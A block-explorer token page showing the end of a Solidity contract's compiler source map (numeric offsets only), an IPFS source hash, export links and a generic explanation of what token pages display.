2089:5230:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7040:86;7110:8;;;;;;;;;;;;-1:-1:-1;;;7110:8:0;;;;7040:86;;;;;;;:::i;:::-;;;;;;;;6049:246;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6049:246:0;1004:187:1;6927:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6927:105:0;1196:177:1;4430:734:0;;;;;;:::i;:::-;;:::i;6303:616::-;;;;;;:::i;:::-;;:::i;1557:106::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1557:106;;;-1:-1:-1;;;;;4791:32:1;;;4773:51;;4761:2;4746:18;1557:106:0;4627:203:1;7229:87:0;2526:2;7229:87;;;5007:4:1;4995:17;;;4977:36;;4965:2;4950:18;7229:87:0;4835:184:1;2954:111:0;3043:14;;-1:-1:-1;;;;;3043:14:0;2954:111;;2443:38;;;;;;;;;;;;;;;-1:-1:-1;;;2443:38:0;;;;;5172:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5265:18:0;5238:7;5265:18;;;:9;:18;;;;;;;5172:119;1832:250;;;:::i;:::-;;3073:112;;;;;;:::i;:::-;;:::i;2488:40::-;;2526:2;2488:40;;5299:566;;;;;;:::i;:::-;;:::i;3425:229::-;;;;;;:::i;:::-;;:::i;2535:74::-;;;:::i;3283:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3378:31:0;3351:7;3378:31;;;:22;:31;;;;;;;3283:134;3662:596;;;;;;:::i;:::-;;:::i;5873:168::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5994:30:0;;;5967:7;5994:30;;;:18;:30;;;;;;;;:39;;;;;;;;;;;;;5873:168;4266:156;;;;;;:::i;:::-;;:::i;6049:246::-;1184:10;6129:4;6146:42;;;:18;:42;;;;;;;;-1:-1:-1;;;;;6146:51:0;;;;;;;;;;;:57;;;6219:46;;1342:25:1;;;6129:4:0;;6146:51;;1184:10;;6219:46;;1315:18:1;6219:46:0;;;;;;;-1:-1:-1;6283:4:0;6049:246;;;;;:::o;6927:105::-;6982:7;2589:19;2526:2;2589;:19;:::i;:::-;2577:32;;:8;:32;:::i;:::-;7002:22;;6927:105;:::o;4430:734::-;4657:4;;4674:461;4698:10;:17;4694:1;:21;4674:461;;;4764:10;4775:1;4764:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4742:53:0;4751:11;-1:-1:-1;;;;;4742:53:0;-1:-1:-1;;;;;;;;;;;4779:12:0;4792:1;4779:15;;;;;;;;:::i;:::-;;;;;;;4742:53;;;;1342:25:1;;1330:2;1315:18;;1196:177;4742:53:0;;;;;;;;5006:10;5017:1;5006:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4815:219:0;4838:42;-1:-1:-1;;;;;4815:219:0;;4899:12;4912:1;4899:15;;;;;;;;:::i;:::-;;;;;;;4933:1;4953;4973:11;4985:1;4973:14;;;;;;;;:::i;:::-;;;;;;;;;;;;4815:219;;;8662:25:1;;;8703:18;;;8696:34;;;;8746:18;;8739:34;8804:2;8789:18;;8782:34;8649:3;8634:19;4815:219:0;;;;;;;5056:12;-1:-1:-1;;;;;5049:30:0;;5080:10;5091:1;5080:13;;;;;;;;:::i;:::-;;;;;;;5095:11;5108;5120:1;5108:14;;;;;;;;:::i;:::-;;;;;;;;;;;5049:74;;-1:-1:-1;;;;;;5049:74:0;;;;;;;-1:-1:-1;;;;;9085:15:1;;;5049:74:0;;;9067:34:1;9137:15;;;;9117:18;;;9110:43;9169:18;;;9162:34;9002:18;;5049:74:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;4717:3:0;;;;:::i;:::-;;;;4674:461;;;-1:-1:-1;5152:4:0;;4430:734;-1:-1:-1;;;;;;4430:734:0:o;6303:616::-;-1:-1:-1;;;;;6422:24:0;;6397:4;6422:24;;;:18;:24;;;;;;;;1184:10;6422:48;;;;;;;;:55;-1:-1:-1;6422:55:0;6414:93;;;;-1:-1:-1;;;6414:93:0;;9831:2:1;6414:93:0;;;9813:21:1;9870:2;9850:18;;;9843:30;9909:27;9889:18;;;9882:55;9954:18;;6414:93:0;;;;;;;;;-1:-1:-1;;;;;3378:31:0;;6520:28;3378:31;;;:22;:31;;;;;;6592:24;;6588:129;;6648:20;6641:3;:27;6633:72;;;;-1:-1:-1;;;6633:72:0;;10185:2:1;6633:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;6633:72:0;9983:356:1;6633:72:0;-1:-1:-1;;;;;6729:15:0;;;;;;:9;:15;;;;;:22;;6748:3;;6729:15;:22;;6748:3;;6729:22;:::i;:::-;;;;-1:-1:-1;;;;;;;6762:13:0;;;;;;:9;:13;;;;;:20;;6779:3;;6762:13;:20;;6779:3;;6762:20;:::i;:::-;;;;-1:-1:-1;;;;;;;6793:24:0;;;;;;:18;:24;;;;;;;;1184:10;6793:48;;;;;;;:55;;6845:3;;6793:24;:55;;6845:3;;6793:55;:::i;:::-;;;;;;;;6881:2;-1:-1:-1;;;;;6866:23:0;6875:4;-1:-1:-1;;;;;6866:23:0;-1:-1:-1;;;;;;;;;;;6885:3:0;6866:23;;;;1342:25:1;;1330:2;1315:18;;1196:177;6866:23:0;;;;;;;;-1:-1:-1;6907:4:0;;6303:616;-1:-1:-1;;;;6303:616:0:o;1832:250::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;1923:16:::1;::::0;;1905:88:::1;::::0;1949:42:::1;::::0;-1:-1:-1;;;;;1923:16:0;;::::1;::::0;1905:88:::1;::::0;::::1;2004:16;:70:::0;;-1:-1:-1;;;;;;2004:70:0::1;2031:42;2004:70;::::0;;1832:250::o;3073:112::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;3150:14:::1;:27:::0;;-1:-1:-1;;;;;;3150:27:0::1;-1:-1:-1::0;;;;;3150:27:0;;;::::1;::::0;;;::::1;::::0;;3073:112::o;5299:566::-;1184:10;5375:4;5400:33;;;:9;:33;;;;;;:40;-1:-1:-1;5400:40:0;5392:73;;;;-1:-1:-1;;;5392:73:0;;11221:2:1;5392:73:0;;;11203:21:1;11260:2;11240:18;;;11233:30;-1:-1:-1;;;11279:18:1;;;11272:50;11339:18;;5392:73:0;11019:344:1;5392:73:0;5478:28;5509:44;1184:10;5530:22;1078:125;5509:44;5478:75;-1:-1:-1;5568:24:0;;5564:129;;5624:20;5617:3;:27;5609:72;;;;-1:-1:-1;;;5609:72:0;;10185:2:1;5609:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;5609:72:0;9983:356:1;5609:72:0;1184:10;5705:33;;;;:9;:33;;;;;:40;;5742:3;;5705:33;:40;;5742:3;;5705:40;:::i;:::-;;;;-1:-1:-1;;;;;;;5756:13:0;;;;;;:9;:13;;;;;:20;;5773:3;;5756:13;:20;;5773:3;;5756:20;:::i;:::-;;;;-1:-1:-1;;5794:41:0;;1342:25:1;;;-1:-1:-1;;;;;5794:41:0;;;1184:10;;-1:-1:-1;;;;;;;;;;;5794:41:0;1330:2:1;1315:18;5794:41:0;;;;;;;;-1:-1:-1;5853:4:0;;5299:566;-1:-1:-1;;;5299:566:0:o;3425:229::-;3043:14;;-1:-1:-1;;;;;3043:14:0;1184:10;2834:49;2826:100;;;;-1:-1:-1;;;2826:100:0;;;;;;;:::i;:::-;3541:6:::1;3536:111;3553:19:::0;;::::1;3536:111;;;3632:3;3594:22;:35;3617:8;;3626:1;3617:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3594:35:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3594:35:0;:41;3574:3;::::1;::::0;::::1;:::i;:::-;;;;3536:111;;;;3425:229:::0;;;:::o;2535:74::-;2589:19;2526:2;2589;:19;:::i;:::-;2577:32;;:8;:32;:::i;:::-;2535:74;:::o;3662:596::-;3043:14;;-1:-1:-1;;;;;3043:14:0;1184:10;2834:49;2826:100;;;;-1:-1:-1;;;2826:100:0;;;;;;;:::i;:::-;3859:9:::1;3854:397;3878:13;:20;3874:1;:24;3854:397;;;3920:19;3942:13;3956:1;3942:16;;;;;;;;:::i;:::-;;;;;;;3920:38;;4004:1;-1:-1:-1::0;;;;;3981:25:0::1;:11;-1:-1:-1::0;;;;;3981:25:0::1;::::0;3973:63:::1;;;::::0;-1:-1:-1;;;3973:63:0;;12333:2:1;3973:63:0::1;::::0;::::1;12315:21:1::0;12372:2;12352:18;;;12345:30;12411:27;12391:18;;;12384:55;12456:18;;3973:63:0::1;12131:349:1::0;3973:63:0::1;-1:-1:-1::0;;;;;4077:22:0;::::1;4053:21;4077:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4114:40;;;;4176:63;;12659:25:1;;;12700:18;;;12693:34;;;4077:22:0;;4176:63:::1;::::0;12632:18:1;4176:63:0::1;;;;;;;3905:346;;3900:3;;;;;:::i;:::-;;;;3854:397;;;;3662:596:::0;;:::o;4266:156::-;4342:4;4380:3;-1:-1:-1;;;;;4364:28:0;4373:5;-1:-1:-1;;;;;4364:28:0;-1:-1:-1;;;;;;;;;;;4385:6:0;4364:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:275;1581:2;1575:9;1646:2;1627:13;;-1:-1:-1;;1623:27:1;1611:40;;1681:18;1666:34;;1702:22;;;1663:62;1660:88;;;1728:18;;:::i;:::-;1764:2;1757:22;1510:275;;-1:-1:-1;1510:275:1:o;1790:183::-;1850:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;-1:-1:-1;1950:1:1;1946:14;1962:4;1942:25;;1790:183::o;1978:668::-;2032:5;2085:3;2078:4;2070:6;2066:17;2062:27;2052:55;;2103:1;2100;2093:12;2052:55;2139:6;2126:20;2165:4;2189:60;2205:43;2245:2;2205:43;:::i;:::-;2189:60;:::i;:::-;2283:15;;;2369:1;2365:10;;;;2353:23;;2349:32;;;2314:12;;;;2393:15;;;2390:35;;;2421:1;2418;2411:12;2390:35;2457:2;2449:6;2445:15;2469:148;2485:6;2480:3;2477:15;2469:148;;;2551:23;2570:3;2551:23;:::i;:::-;2539:36;;2595:12;;;;2502;;2469:148;;;-1:-1:-1;2635:5:1;1978:668;-1:-1:-1;;;;;;1978:668:1:o;2651:662::-;2705:5;2758:3;2751:4;2743:6;2739:17;2735:27;2725:55;;2776:1;2773;2766:12;2725:55;2812:6;2799:20;2838:4;2862:60;2878:43;2918:2;2878:43;:::i;2862:60::-;2956:15;;;3042:1;3038:10;;;;3026:23;;3022:32;;;2987:12;;;;3066:15;;;3063:35;;;3094:1;3091;3084:12;3063:35;3130:2;3122:6;3118:15;3142:142;3158:6;3153:3;3150:15;3142:142;;;3224:17;;3212:30;;3262:12;;;;3175;;3142:142;;3318:971;3488:6;3496;3504;3512;3520;3573:3;3561:9;3552:7;3548:23;3544:33;3541:53;;;3590:1;3587;3580:12;3541:53;3613:29;3632:9;3613:29;:::i;:::-;3603:39;;3693:2;3682:9;3678:18;3665:32;3716:18;3757:2;3749:6;3746:14;3743:34;;;3773:1;3770;3763:12;3743:34;3796:61;3849:7;3840:6;3829:9;3825:22;3796:61;:::i;:::-;3786:71;;3910:2;3899:9;3895:18;3882:32;3866:48;;3939:2;3929:8;3926:16;3923:36;;;3955:1;3952;3945:12;3923:36;3978:63;4033:7;4022:8;4011:9;4007:24;3978:63;:::i;:::-;3968:73;;4094:2;4083:9;4079:18;4066:32;4050:48;;4123:2;4113:8;4110:16;4107:36;;;4139:1;4136;4129:12;4107:36;;4162:63;4217:7;4206:8;4195:9;4191:24;4162:63;:::i;:::-;4152:73;;;4244:39;4278:3;4267:9;4263:19;4244:39;:::i;:::-;4234:49;;3318:971;;;;;;;;:::o;4294:328::-;4371:6;4379;4387;4440:2;4428:9;4419:7;4415:23;4411:32;4408:52;;;4456:1;4453;4446:12;4408:52;4479:29;4498:9;4479:29;:::i;:::-;4469:39;;4527:38;4561:2;4550:9;4546:18;4527:38;:::i;:::-;4517:48;;4612:2;4601:9;4597:18;4584:32;4574:42;;4294:328;;;;;:::o;5024:186::-;5083:6;5136:2;5124:9;5115:7;5111:23;5107:32;5104:52;;;5152:1;5149;5142:12;5104:52;5175:29;5194:9;5175:29;:::i;:::-;5165:39;5024:186;-1:-1:-1;;;5024:186:1:o;5215:689::-;5310:6;5318;5326;5379:2;5367:9;5358:7;5354:23;5350:32;5347:52;;;5395:1;5392;5385:12;5347:52;5435:9;5422:23;5464:18;5505:2;5497:6;5494:14;5491:34;;;5521:1;5518;5511:12;5491:34;5559:6;5548:9;5544:22;5534:32;;5604:7;5597:4;5593:2;5589:13;5585:27;5575:55;;5626:1;5623;5616:12;5575:55;5666:2;5653:16;5692:2;5684:6;5681:14;5678:34;;;5708:1;5705;5698:12;5678:34;5763:7;5756:4;5746:6;5743:1;5739:14;5735:2;5731:23;5727:34;5724:47;5721:67;;;5784:1;5781;5774:12;5721:67;5815:4;5807:13;;;;5839:6;;-1:-1:-1;5877:20:1;;;;5864:34;;5215:689;-1:-1:-1;;;;5215:689:1:o;5909:416::-;6002:6;6010;6063:2;6051:9;6042:7;6038:23;6034:32;6031:52;;;6079:1;6076;6069:12;6031:52;6119:9;6106:23;6152:18;6144:6;6141:30;6138:50;;;6184:1;6181;6174:12;6138:50;6207:61;6260:7;6251:6;6240:9;6236:22;6207:61;:::i;:::-;6197:71;6315:2;6300:18;;;;6287:32;;-1:-1:-1;;;;5909:416:1:o;6330:260::-;6398:6;6406;6459:2;6447:9;6438:7;6434:23;6430:32;6427:52;;;6475:1;6472;6465:12;6427:52;6498:29;6517:9;6498:29;:::i;:::-;6488:39;;6546:38;6580:2;6569:9;6565:18;6546:38;:::i;:::-;6536:48;;6330:260;;;;;:::o;6595:127::-;6656:10;6651:3;6647:20;6644:1;6637:31;6687:4;6684:1;6677:15;6711:4;6708:1;6701:15;6727:422;6816:1;6859:5;6816:1;6873:270;6894:7;6884:8;6881:21;6873:270;;;6953:4;6949:1;6945:6;6941:17;6935:4;6932:27;6929:53;;;6962:18;;:::i;:::-;7012:7;7002:8;6998:22;6995:55;;;7032:16;;;;6995:55;7111:22;;;;7071:15;;;;6873:270;;;6877:3;6727:422;;;;;:::o;7154:806::-;7203:5;7233:8;7223:80;;-1:-1:-1;7274:1:1;7288:5;;7223:80;7322:4;7312:76;;-1:-1:-1;7359:1:1;7373:5;;7312:76;7404:4;7422:1;7417:59;;;;7490:1;7485:130;;;;7397:218;;7417:59;7447:1;7438:10;;7461:5;;;7485:130;7522:3;7512:8;7509:17;7506:43;;;7529:18;;:::i;:::-;-1:-1:-1;;7585:1:1;7571:16;;7600:5;;7397:218;;7699:2;7689:8;7686:16;7680:3;7674:4;7671:13;7667:36;7661:2;7651:8;7648:16;7643:2;7637:4;7634:12;7630:35;7627:77;7624:159;;;-1:-1:-1;7736:19:1;;;7768:5;;7624:159;7815:34;7840:8;7834:4;7815:34;:::i;:::-;7885:6;7881:1;7877:6;7873:19;7864:7;7861:32;7858:58;;;7896:18;;:::i;:::-;7934:20;;7154:806;-1:-1:-1;;;7154:806:1:o;7965:140::-;8023:5;8052:47;8093:4;8083:8;8079:19;8073:4;8052:47;:::i;8110:168::-;8183:9;;;8214;;8231:15;;;8225:22;;8211:37;8201:71;;8252:18;;:::i;8283:127::-;8344:10;8339:3;8335:20;8332:1;8325:31;8375:4;8372:1;8365:15;8399:4;8396:1;8389:15;9207:277;9274:6;9327:2;9315:9;9306:7;9302:23;9298:32;9295:52;;;9343:1;9340;9333:12;9295:52;9375:9;9369:16;9428:5;9421:13;9414:21;9407:5;9404:32;9394:60;;9450:1;9447;9440:12;9489:135;9528:3;9549:17;;;9546:43;;9569:18;;:::i;:::-;-1:-1:-1;9616:1:1;9605:13;;9489:135::o;10344:128::-;10411:9;;;10432:11;;;10429:37;;;10446:18;;:::i;10477:125::-;10542:9;;;10563:10;;;10560:36;;;10576:18;;:::i;10607:407::-;10809:2;10791:21;;;10848:2;10828:18;;;10821:30;10887:34;10882:2;10867:18;;10860:62;-1:-1:-1;;;10953:2:1;10938:18;;10931:41;11004:3;10989:19;;10607:407::o;11368:402::-;11570:2;11552:21;;;11609:2;11589:18;;;11582:30;11648:34;11643:2;11628:18;;11621:62;-1:-1:-1;;;11714:2:1;11699:18;;11692:36;11760:3;11745:19;;11368:402::o

Swarm Source

ipfs://19407695f6b90043514c4affb33404d4e293c502cf9ed06720c7ac45f095221f
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.